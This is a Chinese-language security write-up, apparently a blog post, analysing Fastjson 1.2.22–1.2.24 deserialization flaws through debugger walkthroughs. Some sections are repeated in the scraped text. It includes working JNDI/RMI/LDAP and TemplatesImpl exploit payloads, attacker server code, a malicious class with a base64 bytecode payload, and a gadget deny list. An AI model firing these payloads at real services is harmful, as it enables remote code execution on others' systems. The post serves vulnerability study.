if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。
默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了。
运行能看到报错信息,说autoType不支持该类

图片

调试分析看到,就是在checkAutoType()函数中未开启autoTypeSupport即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的

图片

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
    AutoType白名单设置方法:
  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao

fastjson简介

Fastjson是阿里巴巴公司开源的速度最快的Json和对象转换工具,一个Java语言编写的JSON处理器。

常见的序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 把JSON文本parse为JSONObject或者JSONArray 
public static final Object parse(String text); 
 // 把JSON文本parse成JSONObject
public static final JSONObject parseObject(String text);    
// 把JSON文本parse为JavaBean 
public static final <T> T parseObject(String text, Class<T> clazz)
// 把JSON文本parse成JSONArray 
public static final JSONArray parseArray(String text); 
//把JSON文本parse成JavaBean集合 
public static final <T> List<T> parseArray(String text, Class<T> clazz); 
// 将JavaBean序列化为JSON文本 
public static final String toJSONString(Object object); 
 // 将JavaBean序列化为带格式的JSON文本 
public static final String toJSONString(Object object, boolean prettyFormat);
//将JavaBean转换为JSONObject或者JSONArray。
public static final Object toJSON(Object javaObject); 

简单的使用

1.将Json文本数据信息转换为JsonObject对象,通过键值的形式获取值

1
2
3
4
5
6
7
8
9
10
11
12
package fastjson;

import com.alibaba.fastjson.*;
public class demo {
    public static void main(String[] args) {
        String str = "{\"name\":\"test\"}";
//将JsonObject数据转换为Json  
        JSONObject object = JSON.parseObject(str);
//利用键值对的方式获取到值
        System.out.println(object.get("name"));
    }
}

JSONObject的get方法是通过传入的key值匹配返回val的值
图片

2.将JSON文本转换成实体类

先定义一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

有两个方法可以进行反序列化,一个是parseObject、一个是parse,先来看看parseObject

parseObject

1
2
3
4
5
6
7
8
9
10
11
String s = "{\"name\":\"test\",\"age\":\"12\"}";

Object object1 = JSON.parseObject(s,User.class);
System.out.println(((User) object1).getName());
System.out.println(((User) object1).getAge());
System.out.println(object1.getClass());

Object object2 = JSON.parseObject(s);
System.out.println(((JSONObject) object2).get("name"));
System.out.println(((JSONObject) object2).get("age"));
System.out.println(object2.getClass());

很明显 根据参数的不同,返回的类也不同

1
2
3
4
5
6
7
8
9
10
11
12
public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject)obj;
    } else {
        try {
            return (JSONObject)toJSON(obj);
        } catch (RuntimeException var3) {
            throw new JSONException("can not cast to JSONObject.", var3);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    } else {
        Feature[] var4 = features;
        int var5 = features.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Feature feature = var4[var6];
            featureValues = Feature.config(featureValues, feature, true);
        }

        DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
        T value = parser.parseObject(clazz);
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

parse

这个方法貌似用到的不多

1
2
Object object3 = JSON.parse(s);
System.out.println(object3.getClass());

toJSONString

1
2
3
4
5
Map map = new HashMap();
map.put("1",123);
map.put("slm","123");
String result1 = JSON.toJSONString(map);
System.out.println(result1);

Fastjson 1.2.22-1.2.24反序列化漏洞分析

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

通过Ser.java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
图片

没加SerializerFeature.WriteClassName

图片

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法

图片

图片

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

图片

图片

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.IOException;

public class Student {
private String name;
private int age;
private String sex;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}

Unser.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

Fastjson反序列化流程分析

在parseObject处下断点,跟进

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

第一行将json字符串转化成对象,跟进parse

1
2
3
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

1
2
3
4
5
6
7
8
9
10
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断

1
2
3
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

这里会通过scanSymbol获取到@type指定类
图片

然后通过 TypeUtils.loadClass 方法加载Class

图片

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

图片

接着创建了ObjectDeserializer类并调用了deserialze方法

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

1
2
3
4
5
6
7
8
9
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

远程恶意类badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI
POC和上面一样,就是改了一下url,因为是ldap了

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java
这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意远程类和上面一样

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect方法

图片

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

1
2
3
4
5
6
7
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

图片

跟进parseField方法,对_bytecodes对应的内容进行解析

图片

跟进FieldDeserializer#parseField方法

图片

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

图片

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

图片

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

图片

跟进newTransformer方法

图片

跟进getTransletInstance方法

图片

Fastjson 1.2.22-1.2.24反序列化漏洞分析

ghtwf01 / 2021-01-08 15:20:51 / 浏览数 13613 安全技术 漏洞分析

顶(1) 踩(0)


Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

Fastjson序列化与反序列化

序列化

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

然后通过Ser.java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
图片

没加SerializerFeature.WriteClassName

图片

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法

图片

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

图片

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.IOException;

public class Student {
private String name;
private int age;
private String sex;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}

Unser.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

图片

Fastjson反序列化流程分析

在parseObject处下断点,跟进

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

第一行将json字符串转化成对象,跟进parse

1
2
3
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

1
2
3
4
5
6
7
8
9
10
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断

1
2
3
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

这里会通过scanSymbol获取到@type指定类
图片

然后通过 TypeUtils.loadClass 方法加载Class

图片

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

图片

接着创建了ObjectDeserializer类并调用了deserialze方法

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

